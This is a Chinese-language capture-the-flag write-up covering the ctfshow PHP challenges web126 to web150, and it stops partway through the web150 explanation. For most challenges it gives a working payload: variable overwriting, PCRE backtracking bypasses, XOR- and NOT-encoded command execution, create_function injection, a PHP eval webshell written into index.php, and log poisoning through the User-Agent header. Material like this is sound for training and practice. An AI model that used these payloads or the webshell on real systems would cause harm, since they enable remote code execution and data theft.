web126
与web125差不多
1 2
| get: a=1+fl0g=flag_give_me post: CTF_SHOW=&CTF[SHOW.COM=&fun=parse_str($a[1])
|
web127
绕过方式和web123一样。
payload:
web128

考察点:gettext拓展的使用
在开启该拓展后 _() 等效于 gettext()
payload:
1
| ?f1=_&f2=get_defined_vars
|
web129

1 2
| stripos(string,find,start) 返回值:返回字符串在另一字符串中第一次出现的位置,如果没有找到字符串则返回FALSE。注释:字符串位置从0开始,不是从1开始
|
看别人的wp绕过的姿势有很多啊,但是怎么一到我这里就失灵了啊。只能用php伪协议
payload:
1
| ?f=php://filter/|ctfshow/resource=flag.php #也可以用其他的过滤器
|
web130

PHP利用PCRE回溯次数限制绕过某些安全限制
1 2 3 4 5 6 7 8
| import requests
url='#url' data={ 'f':'a'*1000000+'ctfshow' } r=requests.post(url=url,data=data).text print(r)
|
或者
数组绕过
1
| f[]=1 #stripos应用于数组的时候会返回null,null!==false
|
或者
/s模式下,.匹配任意字符,+表示重复一次或更多次,没错是至少一次!而后面加个?表示懒惰模式,+?表示重复1次或更多次,但尽可能少重复。当然懒惰模式并不影响解题思路,总之就是ctfshow前面必须得有字符才能匹配到,所以直接f=ctfshow就可以了。
web131
1 2 3 4 5 6 7 8
| import requests
url='#url' data={ 'f':'a'*1000000+'36Dctfshow' } r=requests.post(url=url,data=data).text print(r)
|
web132

一打开网站我都惊呆了,好高级的感觉。然后访问robots.txt有/admin访问就能看到源码。

啊~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
这一题好简单啊。
1
| $code === mt_rand(1,0x36D) && $password === $flag
|
只要让这个为false,username=admin和code=admin就行
payload:
1
| ?username=admin&code=admin&password=1
|
web134

parse_str()函数
ectract()函数
1
| php变量覆盖 利用点是 extract($_POST); 进行解析$_POST数组。 先将GET方法请求的解析成变量,然后在利用extract() 函数从数组中将变量导入到当前的符号表。
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| 四个变量的介绍:
1.$_SERVER["QUERY_STRING"]
说明:查询(query)的字符串
2.$_SERVER["REQUEST_URI"]
说明:访问此页面所需的URI 3.$_SERVER["SCRIPT_NAME"]
说明:包含当前脚本的路径 4.$_SERVER["PHP_SELF"]
|
例如
1 2 3 4 5 6 7 8 9
| http://www.xxx.com/?p=222 (附带查询) 结果: $_SERVER["QUERY_STRING"]==>“p=222”;
$_SERVER["REQUEST_URI"] ==>"/?p=222";
$_SERVER["SCRIPT_NAME"] ==>"/index.php";
$_SERVER["PHP_SELF"] ==>"/index.php";
|
payload:
1
| ?_POST[key1]=36d&_POST[key2]=36d
|
web136

跟着大佬学到了好多啊
在linux里可以用tee命令读取标准输入的数据,并将其内容输出成文件
payload:
1 2
| ?c=ls /|tee 1 #把根目录里的内容写进1文件里 ?c=tac /f149_15_h3r3|tee 2
|
web137

1
| call_user_func — 把第一个参数作为回调函数调用
|
考察调用类中的函数
1 2 3
| php中 ->与:: 调用类中的成员的区别 ->用于动态语境处理某个类的某个实例 ::可以调用一个静态的、不依赖于其他初始化的类方法.
|
payload:
1
| POST:ctfshow=ctfshow::getFlag
|
web138

相当于把冒号禁用了,但是call_user_func还可以传数组
第一个元素是类名或者类的一个对象,第二个元素是类的方法名,同样可以调用。
payload:
1
| POST:ctfshow[0]=ctfshow&ctfshow[1]=getFlag
|
web139
太难了,脚本看不懂,以后有机会了再做
web140

可以看到只要我们让intval($code)为0就可以了
intval会将非数字字符转换为0,也就是说 intval(‘a’)==0 intval(‘.’)==0 intval(‘/‘)==0
所以方法就挺多了

payload:
我感觉随便搞一点函数放上去都可以。
web141

传入的v3必须是非单词字符
无字母数字绕过正则表达式总结(含上传临时文件、异或、或、取反、自增脚本)
payload:
1
| ?v1=1&v2=1&v3=-(%80%80%80%80%80%80^%F3%F9%F3%F4%E5%ED)(%80%80%80%80%80^%E3%E1%F4%A0%AA)-
|
web142

emmmmmmmmmmmm,让我太奶来都会做
payload:
web143

1
| ?v1=1&v3=*("%0c%06%0c%0b%05%0d"^"%7f%7f%7f%7f%60%60")("%0b%01%03%00%06%00"^"%7f%60%60%20%60%2a")*&v2=1
|
web144

对v3的长度进行了限制,所以在v2上下手
payload:
1
| ?v1=1&v2=-(%80%80%80%80%80%80^%F3%F9%F3%F4%E5%ED)(%80%80%80%80%80^%E3%E1%F4%A0%AA)&v3=1
|
web145

可以用三目运算符
1
| eval("return 1?phpinfo():1;"); #这是可以运行的
|
payload:
1
| ?v1=1&v2=1&v3=?(~%8C%86%8C%8B%9A%92)(~%8B%9E%9C%DF%99%D5):
|
web146
过滤了:没办法用三目运算符,可以用等号和位运算符\
1
| eval("return 1==phpinfo()||1;"); #这也可以运行
|
payload:
1
| ?v1=1&v2=1&v3===(~%8C%86%8C%8B%9A%92)(~%8B%9E%9C%DF%99%D5)||
|
web147

具体原理看这个
1 2 3 4 5 6 7
| create_function('$a','echo $a."123"')
类似于
function f($a) { echo $a."123"; }
|
payload:
1 2
| GET:?show=}system("tac flag.php");/* POST:ctf=\create_function
|
web148

没过滤异或还可以用异或
payload:
1
| ?code=("%08%02%08%09%05%0d"^"%7b%7b%7b%7d%60%60")("%09%01%03%01%06%0c%01%07%01%0b%08%0b"^"%7d%60%60%21%60%60%60%60%2f%7b%60%7b");
|
web149

预期解是条件竞争,可是我搞了半天也不行,就直接在index.php里改了
payload:
1 2
| GET: ?ctf=index.php POST: show=<?php @eval($_POST[a];)?>
|
然后用蚁剑连接。
web150
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44
| include("flag.php"); error_reporting(0); highlight_file(__FILE__);
class CTFSHOW{ private $username; private $password; private $vip; private $secret;
function __construct(){ $this->vip = 0; $this->secret = $flag; }
function __destruct(){ echo $this->secret; }
public function isVIP(){ return $this->vip?TRUE:FALSE; } }
function __autoload($class){ if(isset($class)){ $class(); } }
#过滤字符 $key = $_SERVER['QUERY_STRING']; if(preg_match('/\_| |\[|\]|\?/', $key)){ die("error"); } $ctf = $_POST['ctf']; extract($_GET); if(class_exists($__CTFSHOW__)){ echo "class is exists!"; }
if($isVIP && strrpos($ctf, ":")===FALSE){ include($ctf); }
|
非预期
日志文件包含写一句话
修改user_agent内容为一句话,然后包含/var/log/nginx/access.log就可以使用我们写的一句话了。
首先访问index.php 修改user_agent为
